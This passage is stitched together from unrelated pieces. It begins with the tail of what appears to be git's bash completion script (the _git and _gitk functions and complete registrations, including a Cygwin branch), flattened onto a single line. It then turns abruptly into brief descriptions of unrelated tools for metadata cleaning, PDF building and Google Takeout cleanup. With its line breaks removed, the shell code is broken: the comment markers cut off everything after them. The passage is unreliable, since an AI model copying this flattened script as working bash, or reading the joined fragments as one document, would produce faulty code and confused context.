"${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --paginate --no-pager --git-dir= --bare --version --exec-path --html-path --work-tree= --help " ;; *) __git_compute_porcelain_commands __gitcomp "$__git_porcelain_commands $(__git_aliases)" ;; esac return fi local completion_func="_git_${command//-/_}" declare -F $completion_func >/dev/null && $completion_func && return local expansion=$(__git_aliased_command "$command") if [ -n "$expansion" ]; then completion_func="_git_${expansion//-/_}" declare -F $completion_func >/dev/null && $completion_func fi } _gitk () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(__gitdir)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_gitk_options $merge " return ;; esac __git_complete_revlist } complete -o bashdefault -o default -o nospace -F _git git 2>/dev/null \ || complete -o default -o nospace -F _git git complete -o bashdefault -o default -o nospace -F _gitk gitk 2>/dev/null \ || complete -o default -o nospace -F _gitk gitk # The following are necessary only for Cygwin, and only are needed # when the user has tab-completed the executable name and consequently # included the '.exe' suffix. # if [ Cygwin = "$(uname -o 2>/dev/null)" ]; then complete -o bashdefault -o default -o nospace -F _git git.exe 2>/dev/null \ || complete -o default -o nospace -F _git git.exe fi

Telegram Metadata Cleaner Bot

Python tool to view and remove metadata from Excel, CSV, and TXT files with encoding detection support.

No description available

Because 240-page volumes shouldn't take forever to load. This script builds "Fast Web View" optimized PDFs with uniform 1600x2260 pages and full metadata support. Clean, fast, and organized... exactly how a private collection should be.

Google Takeout allows you to easily download all of your data. However, it comes with a lot of metadata files that don't always line-up with the raw files, names are cut off, among other annoying issues. The code in the repository tries to fix all of those issues and leaves a clean output